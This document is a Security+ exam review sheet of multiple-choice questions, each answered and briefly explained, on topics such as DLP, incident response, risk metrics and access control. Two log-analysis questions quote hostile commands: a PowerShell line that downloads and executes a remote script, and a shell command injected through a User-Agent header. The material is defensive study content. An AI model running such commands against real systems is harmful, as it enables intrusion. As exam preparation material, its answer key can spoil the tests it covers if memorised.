

CompTIA Security+ Concepts Review Jan 2026

IMPORTANT : PLEASE REVIEW THESE CONCEPTS BEFORE TAKING YOUR TEST

Which of the following should an organization implement to avoid unnecessary liability after the end of a legal contract obligation with a third party? --> Data retention. A data retention policy defines how long data must be kept and when it must be securely disposed of. After a third-party contract ends, keeping data longer than required can increase legal and privacy risk, so timely disposal reduces liability.

A business is expanding to a new country and must protect customers from accidental disclosure of specific national identity information. Which of the following should the security engineer update to best meet business requirements? --> DLP. DLP detects and prevents unauthorized disclosure of sensitive data like national ID numbers. Updating DLP policies helps match country-specific PII formats and meet local privacy requirements.

Which of the following best explains a concern with OS-based vulnerabilities? --> An exploit will give an attacker access to system functions that span multiple applications. OS flaws can impact shared system resources and services, so one exploit can affect many applications and enable broad compromise.

Which of the following security concepts is being followed when implementing a product that offers protection against DDoS attacks? --> Availability. DDoS attacks aim to make services unreachable, so DDoS protection focuses on keeping systems accessible to authorized users.

An organization wants to deploy software in a container environment to increase security. Which of the following will limit the organization's ability to achieve this goal? --> Kernel version. Containers share the host kernel, so an outdated or vulnerable kernel reduces isolation benefits and can expose all containers.

Which of the following threat actors would most likely deface the website of a high-profile music group? --> Unskilled attacker. Website defacement is often a low-sophistication, attention-seeking act commonly done with readily available tools.

Which of the following would help ensure a security analyst is able to accurately measure the overall risk to an organization when a new vulnerability is disclosed? --> A full inventory of all hardware and software. You can't assess exposure or impact without knowing which assets and software versions exist in the environment.

Which of the following best explains how open service ports increase an organization's attack surface? --> They can expose unnecessary services to unauthorized access if not properly restricted. Each open port is a potential entry point, especially if the service is misconfigured or unpatched.

A user downloads a patch from an unknown repository to update their device. After applying the patch, the system becomes unresponsive. An incident response team receives alerts sent by an FIM platform and indicates that the hashes of the operating system files have changed. Which of the following attacks most likely occurred? --> Rootkit. A rootkit can modify core OS files for persistent privileged access, and FIM hash changes on OS files are a classic indicator.

Which of the following describes effective change management procedures? --> Having a backout plan when a patch fails. A rollback plan reduces downtime and risk by restoring systems to a known-good state if a change causes issues.

A security operations center determines that the malicious activity detected on a server is normal. Which of the following activities describes the act of ignoring detected activity in the future? --> Tuning. Tuning adjusts rules/thresholds so known benign activity stops generating alerts, reducing false positives.

Which of the following digital forensics activities would a security team perform when responding to legal requests in a pending investigation? --> E-discovery. This is the formal process of identifying, collecting, preserving, and producing electronically stored information for legal requests while maintaining chain of custody.

Which of the following vulnerabilities will lead to a successful attack that injects into a web application? --> XSS. XSS allows attackers to inject client-side HTML/JavaScript into pages that a user's browser renders, which can load attacker-controlled content.

A company discovers suspicious transactions that were entered into the company's database and attached to a user account that was created as a trap for malicious activity. Which of the following is the user account an example of? --> Honeypot. It's a decoy resource/account meant to lure attackers and generate alerts when used.

A company filed a complaint with its IT service provider after the company discovered the service provider's external audit team had access to some of the company's confidential information. Which of the following is the most likely reason the company filed the complaint? --> A required NDA had not been signed. An NDA is the legal control that restricts use/disclosure of confidential information by third parties.

When used with an access control vestibule, which of the following would provide the best prevention against tailgating? --> Security guard. A guard can verify identity and intervene in real time if someone tries to enter without authorization.

Which of the following attacks primarily targets insecure networks? --> Evil twin. It uses a rogue Wi-Fi access point that mimics a legitimate SSID to trick users into connecting so traffic/credentials can be intercepted.

While updating the security awareness training, a security analyst wants to address issues created if vendors' email accounts are compromised. Which of the following recommendations should the security analyst include in the training? --> Be alert to unexpected requests from familiar email addresses. Compromised vendor accounts often send unusual requests (payment changes, credentials), so users must verify via a second channel.

Which of the following activities identifies but does not exploit vulnerabilities? --> Static analysis. It reviews code/config without executing the program, so it can find weaknesses without actively exploiting them.

Which of the following is a one-way function that provides assurance of data integrity? --> Hashing. A small change to data produces a different hash, so matching hashes indicate the data hasn't been altered.

An administrator needs to perform server hardening before deployment. Which of the following steps should the administrator take? (Select two.) --> Disable default accounts; Remove unnecessary services. These reduce obvious targets and shrink the attack surface by eliminating unneeded access paths.

To which of the following security categories does an EDR solution belong? --> Technical. EDR is a technology control that monitors endpoints, detects suspicious behavior, and supports response actions.

Which of the following should a technician do with the hardware of end-of-life servers that are replaced in an environment? --> Complete the decommissioning process. Proper decommissioning includes secure data sanitization, removing from service, and updating inventories to avoid residual risk.

A security analyst reviews the following endpoint log: PowerShell.exe -exec bypass -command "IEX (New-Object Net.WebClient).DownloadString(http://176.30.40.50/evil.ps1)" Which of the following logs will help confirm an established connection to IP 176.30.40.50? --> Firewall logs. Firewall logs record outbound connections with destination IP/port and whether traffic was allowed or blocked.

Which of the following risk analysis attributes measures the chance that a vulnerability will be exploited? --> Likelihood. It represents the probability a threat actor will exploit the vulnerability (often paired with impact to determine risk).

Which of the following is a risk for a company using end-of-life applications on its network? --> Vulnerable software. End-of-life apps stop receiving patches, so known vulnerabilities remain unfixed and are easier to exploit.

The help desk receives multiple calls indicating that machines are running slowly when running enterprise applications. The help desk notes that the affected machines are out of compliance with the organization's OS baselines. Several users also report receiving virus detection alerts. Which of the following mitigation techniques should the help desk consider first? --> Isolation. Suspected active malware means containment comes first; isolate affected systems to stop spread, lateral movement, and data loss before patching or cleanup.

Which of the following is the best way to validate the integrity and availability of a disaster recovery site? --> Lead a simulated fail over. A simulated failover is an end-to-end test that proves the DR site can actually run production workloads with correct data and uptime.

Which of the following can assist in recovering data if the decryption key is lost? --> Escrow. Key escrow stores encryption keys securely so they can be retrieved if the primary key is lost.

A company wants to track modifications to the code that is used to build new virtual servers. Which of the following will the company most likely deploy? --> Version control tool. Version control tracks who changed what, when, and supports auditing and rollback for infrastructure-as-code.

A security team identifies a vulnerability in an application that the developers will not be able to patch for six months. Which of the following should the security team use to document this vulnerability? --> Risk register. Long-lived unpatched vulnerabilities must be tracked as a managed risk with impact/likelihood, compensating controls, and review dates.

Which of the following is the greatest advantage that network segmentation provides? --> Security zones. Segmentation creates isolated zones to limit lateral movement and reduce the blast radius of an intrusion.

A systems administrator is concerned about vulnerabilities within cloud computing instances. Which of the following is most important for the administrator to consider when architecting a cloud computing environment? --> VM escape. Escaping a VM can break tenant isolation and potentially expose the host or other VMs, which is a major cloud risk.

Which of the following is an internal audit team's function within risk management? --> Assess an organization's policy compliance. Internal audit independently verifies controls and confirms the organization is following its policies and standards.

A penetration tester, who did not have an access badge, managed to follow a group of employees through multiple badged-access doors and into the data center without being stopped. The tester mentions this finding during the after-action review with the Chief Information Security Officer (CISO). Which of the following issues should the CISO address as a result of this finding? --> Social engineering. Tailgating exploits human behavior, so the fix is training/enforcement and stronger physical access procedures/controls.

A software developer wants to implement an application security technique that will provide assurance of the application's integrity. Which of the following techniques will achieve this goal? --> Code signing. Digital signatures verify the code hasn't been altered and confirm it came from a trusted publisher.

A Chief Information Security Officer is developing procedures to guide detective and corrective activities associated with common threats, including phishing, social engineering, and business email compromise. Which of the following documents will be most relevant to revise as part of this process? --> IRP. The incident response plan defines detection, containment, eradication, communication, and recovery steps for these incidents.

A software engineer is downloading a third-party application from a public repository and wants to ensure the application has not been maliciously altered. Which of the following techniques should the engineer use? --> Code signing. Verifying the signature confirms integrity and publisher authenticity; tampering breaks signature validation.

Which of the following is a use of CVSS? --> To prioritize the remediation of vulnerabilities. CVSS provides a standardized severity score used to rank patching/remediation urgency.

Which of the following would enable a data center to remain operational through a multiday power outage? --> Generator. UPS provides short-term power; generators provide sustained power for days with fuel/refueling.

A site reliability engineer is designing a recovery strategy that requires quick fail over to an identical site if the primary facility goes down. Which of the following types of sites should the engineer consider? --> Hot site. A hot site is fully built and ready with near-real-time replication for rapid failover (low RTO/RPO).

A security analyst is evaluating a SaaS application that the human resources department would like to implement. The analyst requests a SOC 2 report from the SaaS vendor. Which of the following processes is the analyst most likely conducting? --> Due diligence. Reviewing SOC 2 is a pre-onboarding vendor risk review to assess controls and compliance.

Which of the following security controls is most likely being used when a critical legacy server is segmented into a private network? --> Compensating. Segmentation reduces exposure when the system can't be patched or meet modern controls directly.

A few weeks after deploying additional email servers, a company begins to receive complaints from employees that messages they send are going into their recipients' spam folders. Which of the following needs to be updated in order to resolve this issue? --> SPF. Add the new mail servers to the domain's SPF record so recipients see them as authorized senders.

A business provides long-term cold storage services to banks that are required to follow regulator-imposed data retention guidelines. Banks that use these services require that data is disposed of in a specific manner at the conclusion of the regulatory threshold for data retention. Which of the following aspects of data management is the most important to the bank in the destruction of this data? --> Certification. Banks need auditable proof (e.g., certificate of destruction) that disposal was completed per regulatory requirements.

A penetration tester is testing the security of a building's alarm system following reports of unauthorized personnel entering the building. Which of the following describes the type of penetration test that is being conducted? --> Physical. Testing alarms/locks/badges/guards is physical penetration testing focused on facility access controls.

After a company was compromised, customers initiated a lawsuit. The company's attorneys have requested that the security team initiate a legal hold in response to the lawsuit. Which of the following describes the action the security team will most likely be required to take? --> Retain any communications related to the security breach until further notice. A legal hold suspends normal deletion so all potentially relevant records are preserved until legal releases the hold.

A systems administrator is changing the password policy within an enterprise environment and wants this update implemented on all systems as quickly as possible. Which of the following operating system security measures will the administrator most likely use? --> Pushing GPO update. Group Policy lets admins centrally enforce password rules across all domain-joined systems quickly and consistently.

Which of the following risk management strategies describes applying a compensating control to a device rather than patching? --> Mitigation. Using compensating controls (segmentation, monitoring, restrictions) reduces likelihood/impact when patching isn't feasible.

A security manager wants to reduce the number of steps required to identify and contain basic threats. Which of the following will help achieve this goal? --> SOAR. SOAR automates repetitive response actions and runs playbooks to speed identification and containment.

A company receives an alert that a network device vendor, which is widely used in the enterprise, has been banned by the government. Which of the following will the company's general counsel most likely be concerned with during a hardware refresh of these devices? --> Sanctions. Using or procuring banned vendor devices can violate legal restrictions and create compliance and penalty risk.

A group of developers has a shared backup account to access the source code repository. Which of the following is the best way to secure the backup account if there is an SSO failure? --> PAM. Privileged Access Management secures shared credentials with vaulting, approvals, auditing, and time-bound access when SSO is unavailable.

Which of the following solutions will most likely be used in the financial industry to mask sensitive data? --> Tokenization. Tokenization replaces sensitive values (like card numbers) with non-sensitive tokens while keeping the real data in a secure vault.

Which of the following should a technician perform to verify the integrity of a file transferred from one device to another? --> Hashing. Compare hashes before and after transfer; any change in the file produces a different hash.

Which of the following is the best way to improve the confidentiality of remote connections to an enterprise's infrastructure? --> Virtual private networks. VPNs encrypt traffic over untrusted networks, protecting data in transit from eavesdropping and MITM.

Which of the following types of vulnerabilities involves attacking a system to access adjacent hosts? --> VM escape. VM escape breaks isolation to reach the hypervisor or other VMs on the same host.

A security administrator must use a strategy to protect the company's data. The security administrator decides to deploy FDE on the end user devices and TLS for all web connections. Which of the following concepts are being used? (Select two). --> Data in transit; Data at rest. FDE protects stored data on disks, and TLS protects data moving across the network.

An organization with multiple geographic locations has invested in various internet circuits at each location, including MPLS, 4G/5G, broadband, and dial-up. An architect is configuring a solution that will allow locations to function consistently and leverage links based on specific criteria. Which of the following is the best solution for the architect to configure? --> SD-WAN. SD-WAN uses policies and link metrics (latency/jitter/loss/cost) to choose paths and standardize connectivity across sites.

A Chief Information Security Officer (CISO) wants to explicitly raise awareness about the increase of ransomware-as-a-service in a report to the management team. Which of the following best describes the

threat actor in the CISO's report? --> Organized crime. RaaS is a profit-driven affiliate model typical of criminal groups operating for financial gain.

A security analyst collects IOCs from a cybersecurity bulletin. Which of the following should the analyst do next to assess if an environment is compromised? --> Threat hunting. Search logs/EDR/SIEM/network data for those IOCs to confirm whether they exist in the environment.

After failing an audit twice, an organization has been ordered by a government regulatory agency to pay fines. Which of the following caused this action? --> Non-compliance. Repeated audit failures indicate required controls/standards aren't being met, triggering regulatory penalties.

Which of the following mitigation techniques would a security analyst most likely use to avoid bloatware on devices? --> Application allow list. Allow listing blocks unapproved software from installing or executing, preventing bloatware.

A security practitioner completes a vulnerability assessment on a company's network and finds several vulnerabilities, which the operations team remediates. Which of the following should be done next? --> Rescan the network. A follow-up scan verifies fixes worked and checks that remediation didn't introduce new issues.

Which of the following technologies must be used in an organization that intends to automate infrastructure deployment? --> IaC. Infrastructure as Code automates provisioning/configuration using templates and code for repeatable deployments.

During an investigation of a cloud-based webmail login using compromised credentials, a security analyst needs to review information about the source IP for the login. Which of the following logs should the analyst retrieve? --> Application. Webmail authentication events and source IP details are recorded in the application's access/auth logs.

A user receives an aggressive text from an unknown sender who is demanding money. Which of the following attacks is this an example of? --> Smishing. It's phishing delivered via SMS/text messages, often using urgency or threats to pressure action.

Which of the following is used to calculate the impact to an organization per cybersecurity incident? --> SLE. Single Loss Expectancy estimates the financial loss from one occurrence of an incident.

The management team wants to assess the cybersecurity team's readiness to respond to a threat scenario. Which of the following will adequately assess and formalize a response within a short time? --> Execute a tabletop exercise and document the performance results. Tabletop exercises quickly test roles, decisions, and procedures and produce documented improvement actions.

Which of the following types of vulnerabilities is primarily caused by improper use and management of cryptographic certificates? --> Misconfiguration. Issues like expired certs, bad chains, and improper deployment are configuration/management problems.

The security team notices that the Always On VPN solution sometimes fails to connect. This leaves remote users unprotected because they cannot connect to the on-premises web proxy. Which of the following changes will best provide web protection in this scenario? --> Install a host-based content filtering solution. Endpoint-based filtering protects users even when VPN/proxy access is unavailable.

A company that has a large IT operation is looking to better control, standardize, and lower the time required to build new servers. Which of the following architectures will best achieve the company's objectives? --> IaC. IaC standardizes builds via version-controlled templates and automates provisioning to reduce time and variability.

A security analyst reviews the following SIEM events: [04-28-2024] 08:00:06 username: bobby successful login location: Toronto, CA src IP: 36.15.36.100 [04-28-2024] 08:03:17 username: bobby successful login location: New York, US src IP: 69.97.63.66 [04-28-2024] 08:05:02 username: bobby successful login location: Melbourne, AU src IP: 98.10.55.02 [04-28-2024] 08:09:17 username: bobby successful login location: Milan, IT src IP: 69.22.96.11 [04-28-2024] 08:11:00 username: bobby successful login location: New York, US src IP: 69.97.63.66 Which of the following best describes the observed behavior? --> **Password sharing**. Multiple successful logins from distant locations within minutes is physically impossible for one user and indicates the same credentials are being used by multiple people (or multiple parties).

Which of the following should be used to ensure that a device is inaccessible to a network-connected resource? --> **Host isolation**. It cuts the device off from network communications to prevent access to other resources while containment/response occurs.

A security analyst assesses the most common causes of downtime within the company and finds the following: Border firewalls are offline for vulnerability patching. The corporate website is offline due to an issue with the hosting provider. The cloud-based sales system is non-operational due to a cybersecurity incident. Which of the following should the analyst recommend to reduce downtime? --> **Adopt platform diversity on the infrastructure**. Reducing dependence on single vendors/platforms (firewall/hosting/cloud) lowers outage impact when one provider or technology fails.

Which of the following threat actors will most likely target an organization by using a logic bomb within an internally developed application? --> **Trusted insider**. A logic bomb in internal code typically requires legitimate access to source code and knowledge of internal systems.

Which of the following security controls is a company implementing by deploying HIPS? (Select two) --> **Preventive; Detective**. HIPS can block malicious behavior in real time (prevent) and also monitor/alert on suspicious activity (detect).

Which of the following should a security analyst use to prioritize the remediation of a vulnerability? --> **CVSS**. It provides a standardized severity score to rank vulnerabilities by urgency and impact.

Which of the following tasks is typically included in the BIA (Business Impact Analysis) process? --> **Estimating the recovery time of systems**. BIA helps define recovery priorities and objectives like RTO/RPO based on business impact.

The physical security team at a company receives reports that employees are not displaying their badges. The team also observes employees tailgating at controlled entrances. Which of the following topics will the security team most likely emphasize in upcoming security training? --> **Situational awareness**. Employees need to stay alert, display badges, and challenge/report tailgating to reduce physical security gaps.

After multiple phishing simulations, the Chief Security Officer announces a new program that incentivizes employees to not click phishing links in the upcoming quarter. Which of the following security awareness execution techniques does this represent? --> **Gamification**. Using rewards/incentives to reinforce desired security behavior is gamification.

Which of the following will harden access to a new database system? (Select two.) --> **Jump server; Host-based firewall**. A jump server centralizes and controls admin access, and a host firewall restricts inbound connections to only approved sources/ports.

A systems administrator successfully configures VPN access to a cloud environment. Which of the following capabilities should the administrator use to best facilitate remote administration? --> **A jump host in the shared**

services security zone. A jump host provides a hardened, controlled entry point for admin access with centralized logging and access enforcement instead of allowing direct access to workloads.

A company suffered a critical incident where 30GB of data was exfiltrated from the corporate network. Which of the following actions is the most efficient way to identify where the data was exfiltrated from and what location the attacker sent the data to? --> Analyze firewall and network logs for large amounts of outbound traffic to external IP addresses or domains. Network telemetry shows the source systems, timing, volume, and destination IPs/domains used for exfiltration.

After creating a contract for IT contractors, the human resources department changed several clauses. The contract has gone through three revisions. Which of the following processes should the human resources department follow to track revisions? --> Version control. Version control maintains revision history, attribution, comparisons, and rollback for documents.

Which of the following is a prerequisite for a DLP solution? --> Data classification. DLP needs data categories/labels to know what content is sensitive and what rules to enforce.

A company is required to use certified hardware when building networks. Which of the following best addresses the risks associated with procuring counterfeit hardware? --> A thorough analysis of the supply chain. Counterfeit hardware is a supply-chain risk, so vetting sources and validating authenticity reduces the chance of tampered or fake devices.

Which of the following would be the best ways to ensure only authorized personnel can access a secure facility? (Select two.) --> Badge access; Access control vestibule. Badges authenticate entry and log access, and a mantrap/vestibule prevents tailgating by restricting passage to one person at a time.

A security analyst is investigating an application server and discovers that software on the server is behaving abnormally. The software normally runs batch jobs locally and does not generate traffic, but the process is now generating outbound traffic over random high ports. Which of the following vulnerabilities has likely been exploited in this software? --> Memory injection. Injected code in a running process can create unexpected outbound C2 traffic without obvious changes to files on disk.

Which of the following types of vulnerabilities is primarily caused by improper use and management of cryptographic certificates? --> Misconfiguration. Problems like expired certs, incorrect chains, or bad deployment are configuration/management errors.

An organization is required to provide assurance that its controls are properly designed and operating effectively. Which of the following reports will best achieve this objective? --> Independent audit. Audits provide formal third-party assurance of control design and operating effectiveness.

A company is discarding a classified storage array and hires an outside vendor to complete the disposal. Which of the following should the company request from the vendor? --> Certification. A certificate of destruction/sanitization provides auditable proof the media was properly disposed of.

Which of the following phases of an incident response involves generating reports? --> Lessons learned. Post-incident reporting and documentation are produced after containment and recovery to capture improvements and evidence.

A security engineer needs to quickly identify a signature from a known malicious file. Which of the following analysis methods would the security engineer most likely use? --> Static. Static analysis quickly extracts hashes/strings/metadata for signature matching without executing the file.

A company's antivirus solution is effective in blocking malware but often has false positives. The security team has spent a significant amount of time on investigations but cannot determine a root cause. The company is looking for a heuristic-based solution. Which of the following should replace the antivirus solution? --> **EDR**. EDR (Endpoint Detection and Response) uses behavioral detection and provides investigation context and root-cause visibility beyond signature-based AV.

Which of the following should a systems administrator set up to increase the resilience of an application by splitting the traffic between two identical sites? --> **Load balancing**. Load balancers distribute requests across identical sites to improve availability and tolerate site issues.

Which of the following best describes the practice of researching laws and regulations related to information security operations within a specific industry? --> **Due diligence**. Due diligence includes identifying and understanding applicable legal/regulatory requirements before making security and operational decisions.

A security administrator needs a method to secure data in an environment that includes some form of checks so that the administrator can track any changes. Which of the following should the administrator set up to achieve this goal? --> **FIM**. File integrity monitoring uses baselines/hashes to detect and alert on unauthorized changes.

A security team is addressing a risk associated with the attack surface of the organization's web application over port 443. Currently, no advanced network security capabilities are in place. Which of the following would be best to set up? (Select two.) --> **NIDS; WAF**. A WAF (Web Application Firewall) protects HTTPS web apps at Layer 7 from common web attacks, and a NIDS (Network Intrusion Detection System) adds network-level detection/alerting for malicious traffic patterns.

Employees receive a text message containing a link to a web page that prompts the user to enter their ID and a work phone number. The text message appears to come from the Chief Executive Officer, but it is later discovered that the message is not legitimate. Which of the following does this best represent? (Select two.) -> **Smishing; Impersonation**. It's phishing via SMS plus pretending to be the CEO to increase trust and urgency.

Which of the following best explains the benefit of using asymmetric encryption? --> **It enables secure data exchanges without requiring both parties to share a private key**. Public/private keys solve the key-distribution problem and enable secure exchange without sharing secret keys.

Which of the following is the best safeguard to protect against an extended power failure? --> **Generators**. Generators provide sustained power for long outages, while UPS/batteries are short-duration bridging solutions.

Which of the following is a reason an organization performs a self-assessment of their security practices? --> **To identify potential areas of weakness and opportunities for security improvements**. Self-assessments are internal evaluations meant to find gaps and improve posture before external reviews.

An analyst wants to move data from production to the UAT (User Acceptance Testing) server to test the latest release. Which of the following strategies to protect data should the analyst use? --> **Data masking**. Masking replaces sensitive values with realistic substitutes so testing works without exposing real PII/PHI/PCI.

A company discovers that an employee was paid by a competitor to save internal business files to a thumb drive and deliver it to the competitor. Which of the following is most likely the employee's motivation? --> **Financial gain**. The employee was paid, indicating monetary motivation typical of insider espionage.

Which of the following is the best way to prevent data from being leaked from a secure network that does not need to communicate externally? --> Air gap. Physical isolation from external networks prevents electronic data transfer out of the environment.

Which of the following security control types does an acceptable use policy (AUP) best represent? --> Preventive. An AUP sets rules up front to reduce misuse and policy violations before they happen.

Which of the following data types best describes an AI tool developed by a company to automate the ticketing system under a specific contract? --> Intellectual property. Custom-developed tools/models/code are proprietary assets owned/controlled per contract terms.

An unexpected and out-of-character email message from a Chief Executive Officer's corporate account asks an employee to provide financial information and change the recipient's contact number. Which of the following attack vectors is most likely being used? --> Business email compromise. BEC uses trusted executive/vendor email (real or convincingly spoofed) to request sensitive financial actions or changes.

Which of the following methods is the most effective for reducing vulnerabilities? --> Using a scan-patch-scan process. Scan to find issues, patch to remediate, then rescan to verify fixes and measure risk reduction.

Which of the following is a strategy to protect stored passwords? --> Hashing. Store one-way hashes (ideally salted) so stolen password databases don't reveal original passwords.

A systems administrator just purchased multiple network devices. Which of the following should the systems administrator perform to prevent attackers from accessing the devices by using publicly available information? --> Change default passwords. Default credentials are widely known/published and commonly targeted.

Which of the following security concepts is accomplished with the installation of a RADIUS server? --> AAA. RADIUS supports centralized authentication, authorization, and accounting for network access.

A technician is setting up a public-facing web server and needs to ensure traffic is secure. Which of the following steps should the technician take to begin this process? --> CSR generation. A CSR is the first step to obtain an SSL/TLS certificate needed for HTTPS.

Which of the following techniques is used to assess the effectiveness of security controls that are designed to protect a system from unauthorized access? --> Penetration test. It actively attempts to bypass controls to validate real-world effectiveness.

An organization knows its single loss expectancy (SLE). Which of the following does the organization need in order to determine its annualized loss expectancy (ALE)? --> ARO. ALE is calculated as $SLE \times ARO$, so the annual rate of occurrence is required.

Which of the following is a primary security concern for a company setting up a BYOD (Bring Your Own Device) program? --> Jailbreaking. Rooting/jailbreaking removes built-in security controls and undermines MDM enforcement, increasing data leakage and malware risk.

A security analyst is reviewing logs and discovers the following: 149.34.228.10 - - [28/Jan/2023:16:32:45 -0300] "GET / HTTP/1.0" User-Agent: \$(/bin/sh -id) 200 397 Which of the following should be used to best mitigate this type of attack? --> Input sanitization. Validate/escape untrusted input to prevent command injection payloads from being interpreted by the system.

Which of the following techniques would attract the attention of a malicious attacker in an insider threat scenario? --> Creating a false text file in /docs/salaries. A fake “high-interest” file is a honeypot used to lure insiders and trigger alerts when accessed.

Which of the following is an example of a certificate that is generated by an internal source? --> Self-signed. It's created and signed by the same internal entity (not a public CA), commonly used for internal/test systems.

A university employee has logged on to an academic server and attempted to guess the system administrators' login credentials. Which of the following security measures should the university have implemented to detect the employee's attempts to gain access to the administrators' accounts? --> User activity logs. Logs capture failed login attempts and suspicious authentication behavior for detection and investigation.

Which of the following is the act of proving to a customer that software developers are trained on secure coding? --> Attestation. It's formal evidence/confirmation (statements/reports) that a requirement was met.

A company's accounts payable clerk receives a message from a vendor asking to change their bank account before paying an invoice... Which of the following has most likely occurred? --> Business email compromise. This is a common BEC payment-redirection scam targeting finance/AP workflows.

Which of the following provides resilience by hosting critical virtual machines (VMs) within different IaaS providers while being maintained by internal application owners? --> Multicloud architectures. Using multiple IaaS providers improves resilience and reduces provider outage dependency.

An organization purchased and configured spare devices for all critical network infrastructure. Which of the following best describes the organization's reason for these actions? --> High availability. Preconfigured spares reduce downtime and eliminate single points of failure.

A systems administrator configures a new application... multiple accounts created overnight with administrative privileges... Which of the following solutions would have prevented this incident? --> Changing the default credentials. Attackers commonly exploit default logins right after deployment to gain admin access.

A company expects its provider to ensure servers and networks maintain 99% uptime. Which of the following will most likely list this expectation? --> SLA. SLAs define measurable service metrics like uptime/availability and remedies if unmet.

Which of the following should be used to prevent changes to system-level data? --> FIM. File integrity monitoring baselines critical system files and alerts on unauthorized modifications.

An administrator is creating domain profiles... assigning permissions based on user roles and departments. Which of the following would most likely fulfill those requirements? --> Security groups. Group-based permissions scale well and implement RBAC by role/department.

Which of the following metrics are used to calculate the risk rating in a matrix format? (Select two.) Likelihood; Impact. A risk matrix combines probability (likelihood) with severity (impact) to determine risk level.

Which of the following will help reduce alert fatigue? Rule tuning. Tuning reduces false positives/noise by adjusting thresholds and suppressing known-benign activity.

An administrator plans to apply a critical patch to a critical system. Which of the following is the first thing the administrator should do? Submit a change management request

Change control ensures approvals, risk review, scheduling, and rollback planning before touching production.

A software engineer needs to check for errors and security flaws before compiling and sending an application for testing. Which of the following should the engineer use?

Static code analysis

Reviews source code without executing it to catch flaws early in the SDLC.

Which of the following principles ensures data is only accessible to authorized users?

Confidentiality

Prevents unauthorized disclosure using access controls, authentication/authorization, and encryption.

A new security regulation was announced that will take effect in the coming year. A company must comply to remain in business. Which activity should the company perform next?

Gap analysis

Compares current controls to the new requirements to identify what must change before the deadline.

Which of the following is a one-way function that provides assurance of data integrity?

Hashing

Any change to data produces a different hash, allowing integrity verification.

During a penetration test in a hypervisor, a payload is injected and the host filesystem is accessed. Which vulnerability is this?

VM escape

Breaks VM isolation and allows access from a guest VM into the host/hypervisor environment.

A company plans to prevent sensitive data from being sent over corporate email and restrict access to harmful websites. Which features should be set up? (Select two.)

DLP software; DNS filtering

DLP prevents sensitive data leaving via email; DNS filtering blocks access to malicious domains.

Which activity is included in the post-incident review phase?

Developing steps to mitigate the risks of the incident

Lessons learned focuses on improving controls/processes to prevent recurrence.

Which of the following best describes the main difference between an MOU and an SOW?

An MOU is usually not legally binding, while an SOW is usually legally binding about outcomes

An MOU captures intent and cooperation; an SOW defines specific deliverables, scope, and expectations tied to enforceable work.

